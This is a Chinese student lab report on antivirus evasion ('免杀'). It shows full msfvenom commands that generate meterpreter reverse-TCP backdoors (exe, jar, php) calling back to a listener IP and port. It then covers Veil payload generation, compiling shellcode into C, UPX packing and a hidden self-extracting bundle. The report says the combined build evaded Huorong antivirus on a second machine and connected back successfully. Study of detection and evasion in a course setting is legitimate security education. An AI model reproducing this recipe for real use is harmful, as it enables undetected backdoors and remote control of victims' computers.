一、实验概述
1.1 实验目标
理解免杀原理。
通过实践掌握免杀各种基本方法。
1.2 实验内容
正确使用msf编码器生成后门,使用msfvenom生成如jar之类的其他文件,使用veil生成后门,正确使用加壳工具,使用C + shellcode编程生成后门,使用其他课堂未介绍方法生成后门。
通过组合应用各种技术实现恶意代码免杀,用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
二、实验准备
2.1 安装veil
大家通常会在安装veil的过程中遇到问题,我也一样并非一次安装成功的,我主要参考了这个博客,按照里面的配置步骤,最终安装成功。
博客地址:https://blog.csdn.net/xuanhun521/article/details/52821247
2.2 Kali网络配置
由于Kali是在VM上运行的虚拟机,故需要对其网络进行一些配置,才能连通网络。
Step1
管理员身份运行VM,将Kali网络连接方式改为桥接。
Step2
选择【编辑】-【虚拟网络编辑器】。
将【VMnet0】类型改为【桥接模式】。
在VMnet信息选择【桥接模式】,桥接到【物理机网卡】。
说明:利用ipconfig/all可以查询本机网卡。
Step3
在Kali,输入vi /etc/network/interfaces,回车。
添加以下内容。
保存退出。
Step4
输入/etc/init.d/networking restart,回车。
输入ping www.baidu.com,回车。
说明:重启网络服务,尝试ping百度,成功,于是Kali网络配置成功。
三、实验步骤
3.1 使用msf生成三类后门
Step1
使用VirusTotal(下称VT)扫描实验二生成的后门程序。
说明:扫描结果是有58种查杀软件可以查出后门,没能实现免杀。
Step2
在Kali,新建终端,输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.133.130 LPORT=4314 -f exe > encoded_20174314.exe,回车。
将生成的程序用VT扫描。
说明:利用msf编码器,对后门程序进行10次编码,再次测试免杀效果。依然有56种杀软可以查杀程序。
Step3
输入msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.133.130 LPORT=4314 x>backdoor_java_20174314.jar,回车。
将生成的程序用VT扫描。
说明:利用msf生成jar后门程序文件,依然可以被过半的杀软查杀。
Step4
输入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.133.130 LPORT=4314 x> backdoor_php_20174314.php,回车。
将生成的程序用VT扫描。
说明:利用msf生成php后门程序,此处极少杀软可以检测出来,但是依然没有达到完全免杀的效果。
3.2 使用veil生成后门
Step1
新建终端,输入sudo veil,回车。
Step2
输入use evasion,回车。
说明:进入veil-evasion。
Step3
输入list,回车。
说明:显示所有的payload。
Step4
输入use c/meterpreter/rev_tcp.py,回车。
Step5
输入set LHOST 192.168.1.104,回车。
输入set LPORT 4314,回车。
说明:将IP地址设置为Kali的IP地址,将回连端口设置为4314。
Step6
输入generate,回车。
输入20174314_veil_backdoor,回车。
说明:最关键核心的一步,生成后门文件,并命名为20174314_veil_backdoor。
Step7
将后门文件用VT扫描。
说明:扫描结果是——尽管veil的安装很复杂,但是免杀效果依然平平无奇。真令人意外。
3.3 使用C+Shellcode编程生成后门
Step1
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.189 LPORT=4314 -f c,回车。
说明:通过指令生成一段Shellcode。
Step2
输入vim 20174314.c,回车。
输入以下程序,保存退出。
说明:手动创建一个c文件,然后将Shellcode的内容赋值到c文件的数组中,加上主函数达到执行Shellcode的效果。
Step3
输入i686-w64-mingw32-g++ 20174317.c -o 20174317.exe,回车。
说明:将c文件编译成为可执行文件。
Step4
将文件用VT扫描。
3.4 使用加壳工具
输入upx 20174314.exe -o wfz.upxed.exe,回车。
将生成的文件用VT扫描。
说明:利用简单的语句对后门程序进行加壳。所谓加壳,就是对资源进行不破坏其运行的压缩。由于没有根本改变程序的内容,同时加壳算法又是公开可查询的,所以免杀效果依然不佳。
3.5 (课堂未介绍)使用自解压式捆绑木马
Step1
选择后门文件与pwn1,添加到压缩文件。
Step2
选择【常规】-【创建自解压格式压缩文件】。
Step3
选择【高级】-【自解压选项】。
选择【模式】-【全部隐藏】。
说明:将后门文件添加到自解压的压缩包中,压缩包格式为exe,即可执行文件。用户只要点击,就会自动解压,植入后门。
Step4
将文件用VT扫描。
说明:免杀效果依然较普通。
3.6 使用组合方法实现免杀
组合技:C+Shellcode编程+加壳工具+自解压捆绑。
用VT进行扫描,结果会如何呢。
说明:一言难尽。不过这是除了php之外查杀率最低的效果了。
3.7 使用另一主机回连实测
Step1
通过微信,将后门传输给目标机,并存储在指定位置。
Step2
用火绒进行指定范围的查杀。
Step3
记录查杀结果与软件版本。
说明:没有查出来。免杀了!杀毒软件为火绒5.0.41.6。
Step4
在Kali进行回连。
说明:还需要说明吗,成功了!
四、实验错误分析
本次实验在安装veil时遇到一系列错误,但是都可以通过参考他人博客解决,在此主要讲述我遇到的较少见的错误。
我在运行msf时,报错You must use Bundler 2 or greater with this lockfile。
此处需要更新安装bundler。指令如下。
gem update --system
gem install bundler -v 2.0.1
注意,若非root可能出现权限不够的问题。
安装之后,就可以正常进行实验了。
五、实验收获感想
5.1 实验问题回答
5.1.1 杀软是如何检测出恶意代码的?
杀软主要通过三种方式检测恶意代码:基于特征码检测、启发式恶意检测、基于行为检测。
基于特征码检测,就是基于已有的特征码数据库,而数据库中的特征码是大部分后门软件都会具有的,根据静态对比,进行检测。
启发式,就是需要后门软件“启发”杀软。如何启发?通过一些片面特征检测,如盗取信息,尝试提权等。
基于行为是启发式的一种,如果软件存在可疑行为,则会被检测出来。
5.1.2 免杀是做什么?
所谓“免杀”,是让软件“免”于“杀”软,主要是后门软件需要实现免杀。也就是,软件通过加壳、多次编码、伪装在压缩包中等方式,躲避查毒软件的检查的排除,稳定的存在于系统中,实现后门、信息盗取等功能。
5.1.3 免杀的基本方法有哪些?
在我们这次实践了多次编码、加壳、加压缩包的方式尝试免杀。总的来说免杀的基本方法有以下几类。
改变特征码:针对杀软基于特征码检测的特性,修改自身特征码从而免杀。加壳就是一种典型的改变特征码,通过压缩使得代码变化,但是实现的功能依然不会变。
改变行为:将可疑的行为变得自然,例如利用反弹式连接代替主动连接,加入混淆作用的正常功能代码,使得程序行为正常等。
5.1.4 开启杀软能绝对防止电脑中恶意代码吗?
答案是NO,这是显然的。我在实验中通过组合技躲过了我一直以来非常信任的火绒,令我十分意外。因为免杀操作一层套一层,不可能穷尽所有的变化,达到绝对的防御。但是我们的杀软依然可以过滤大部分恶意软件,杀软在很大程度上是值得我们信任的。
5.2 我的感想
5.2.1 安装veil太麻烦,各家博客好好看
觉得这会是一个大家总结都避不开的话题。安装veil,由于安装语句的不确定性,网络环境的不稳定性,大家都在安装veil这一步遇到了困难,但是这份困难不是不能解决的。我在安装的过程中,除了查看网络这种说明指南之外,更多的是参考同一课程的同学们的博客。大家的水平相近,遇到的问题也类似,相比于在茫茫的博客海中南辕北辙,不如就在身边看看“另一个自己”是如何解决问题的。博客提交作业这种方式我受益很深,从来没有这么高效的从同学们吸取这么多的知识。
5.2.2 免杀手段千千万,安全操作一刀断
回到实验的内容上,我们通过各类免杀手段,最终免过了自己最信任的杀入软件的追逃。有的人或许会害怕怀疑——杀毒软件是不是就这样“失效”了呢?绝对不至于,要不然现在我们怎么可能安稳地听着音乐、写这博客、熬着夜。但是免杀手段千变万化,如果我们能从自己做到安全操作,不上可疑网站,不进行危险操作,恶意软件是不会主动找上我们的。